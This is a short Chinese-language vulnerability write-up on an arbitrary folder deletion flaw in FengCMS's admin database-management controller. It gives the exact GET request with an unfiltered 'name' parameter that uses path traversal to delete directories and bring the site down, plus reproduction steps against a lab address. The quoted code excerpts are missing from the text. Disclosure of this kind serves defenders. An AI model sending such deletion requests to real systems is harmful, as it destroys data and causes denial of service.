FengCMS任意文件夹删除，可导致拒绝服务（需管理

直接发送请求:GET /admin/index.php?controller=dbmanage&operate=delete&name=app

即可删除根目录的app文件夹，导致 系统 无法正常工作。 分析: 该请求的对应代码在: \admin\app\controller\dbmanageController.php 中，如下所示:  

然后调用\admin\app\model\dbmanageModel.php的  

首先判断传入的文件夹是否存在，如果存在 就删除。对传入的参数name没有进行过滤，导致利用进行路径 穿越可以删除任意有权限的文件夹。当删除该系统重要文件夹，将会导致系统不能正常使用导致 dos 。

 

1.首先访问站点，http://192.168.1.200:801/?controller=single则系统会创建缓存文件，保存到\app\cache 目录下  

2.请求http://192.168.1.200:801//app/cache/compile/single.php 返回内容含有Access Denied  

3.发送请求http://192.168.1.200:801//admin/index.php?controller=dbmanage&operate=delete&name=app/cache/compile/ 删除创建的文件夹  

4.再次访问测试文件  

查看更多关于FengCMS任意文件夹删除，可导致拒绝服务（需管理的详细内容...